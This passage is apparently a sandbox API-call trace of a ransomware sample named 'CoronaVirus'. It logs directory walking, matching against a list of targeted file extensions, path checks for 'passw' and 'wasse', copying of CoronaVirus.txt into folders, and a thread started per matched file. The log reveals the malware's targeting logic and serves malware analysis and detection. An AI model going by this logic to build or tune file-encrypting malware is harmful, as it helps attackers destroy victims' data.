	[0082.284] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0082.284] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.284] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0082.285] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.285] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0082.285] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.285] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0082.285] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.285] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0082.285] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.285] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0082.285] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0082.285] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0082.285] malloc (_Size=0x1000) returned 0x2f26538
	[0082.285] _swprintf (in: param_1=0x2f26538, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0082.285] wcsstr (_Str="C:\\588bce7c90097ed212\\3082\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0082.285] wcsstr (_Str="C:\\588bce7c90097ed212\\3082\\eula.rtf", _SubStr="wasse") returned 0x0
	[0082.285] wcsstr (_Str="C:\\588bce7c90097ed212\\3082\\eula.rtf", _SubStr="passw") returned 0x0
	[0082.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f26538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4
	[0082.285] SetThreadPriority (hThread=0x4b4, nPriority=15) returned 1
	[0082.311] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0082.311] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0082.311] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0082.311] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.311] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0082.311] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.311] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0082.311] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.311] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0082.311] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.311] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0082.311] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.311] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0082.311] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.311] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0082.311] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.311] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0082.311] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.311] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0082.311] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.311] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0082.311] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.311] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0082.312] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.312] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0082.312] malloc (_Size=0x1000) returned 0x2f26538
	[0082.312] _swprintf (in: param_1=0x2f26538, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0082.312] wcsstr (_Str="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.312] wcsstr (_Str="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0082.312] wcsstr (_Str="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0082.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f26538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0
	[0082.312] SetThreadPriority (hThread=0x4d0, nPriority=15) returned 1
	[0082.314] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0082.314] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.314] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.314] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.314] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.314] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.314] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0082.314] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.314] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0082.314] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.322] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0082.322] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.322] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0082.322] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.322] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0082.322] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.322] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0082.322] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.322] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0082.322] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.322] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0082.328] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.328] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0082.328] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.328] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0082.328] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.333] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0082.333] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.333] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0082.333] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.334] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0082.334] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.335] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0082.335] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.336] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0082.336] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.336] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0082.336] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.336] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0082.336] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.336] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.336] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.336] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0082.336] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0082.336] FindClose (in: hFindFile=0x6009d0 | out: hFindFile=0x6009d0) returned 1
	[0082.336] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1
	[0082.336] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.336] wcsncmp (_String1="Cl", _String2="..", _MaxCount=0x2) returned 21
	[0082.336] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Client") returned 28
	[0082.336] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0082.336] wcsstr (_Str="C:\\588bce7c90097ed212\\Client", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.336] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\client\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.348] _alloca_probe () returned 0x4036d0
	[0082.348] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\Client", lpFilePart=0x316583c*="Client") returned 0x1c
	[0082.348] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea707f02, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6009d0
	[0082.348] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.348] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea707f02, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.348] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.348] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea707f02, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea707f02, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.348] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.348] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.348] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.348] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.348] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.348] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.348] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.348] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.348] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.349] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.349] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.349] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.349] malloc (_Size=0x1000) returned 0x2f29550
	[0082.349] _swprintf (in: param_1=0x2f29550, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Client\\CoronaVirus.txt") returned 44
	[0082.349] wcsstr (_Str="C:\\588bce7c90097ed212\\Client\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.349] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0082.349] wcsncmp (_String1="P", _String2=".", _MaxCount=0x1) returned 34
	[0082.349] wcsncmp (_String1="Pa", _String2="..", _MaxCount=0x2) returned 34
	[0082.349] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.349] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.349] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.349] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.349] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.349] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.349] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.349] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.349] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.349] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.349] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0082.349] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.349] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0082.349] malloc (_Size=0x1000) returned 0x2f2a558
	[0082.350] _swprintf (in: param_1=0x2f2a558, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0082.350] wcsstr (_Str="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.350] wcsstr (_Str="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", _SubStr="wasse") returned 0x0
	[0082.350] wcsstr (_Str="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", _SubStr="passw") returned 0x0
	[0082.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f2a558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4
	[0082.350] SetThreadPriority (hThread=0x4d4, nPriority=15) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0082.352] wcsncmp (_String1="U", _String2=".", _MaxCount=0x1) returned 39
	[0082.352] wcsncmp (_String1="Ui", _String2="..", _MaxCount=0x2) returned 39
	[0082.352] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.352] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0082.352] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.352] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0082.352] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.352] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0082.352] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.358] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0082.358] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.358] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0082.358] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.359] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0082.359] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.359] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0082.359] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.359] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0082.364] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.365] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0082.365] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.365] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0082.365] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.365] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0082.365] malloc (_Size=0x1000) returned 0x2f2b560
	[0082.365] _swprintf (in: param_1=0x2f2b560, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0082.365] wcsstr (_Str="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.365] wcsstr (_Str="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", _SubStr="wasse") returned 0x0
	[0082.365] wcsstr (_Str="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", _SubStr="passw") returned 0x0
	[0082.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f2b560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8
	[0082.421] SetThreadPriority (hThread=0x4c8, nPriority=15) returned 1
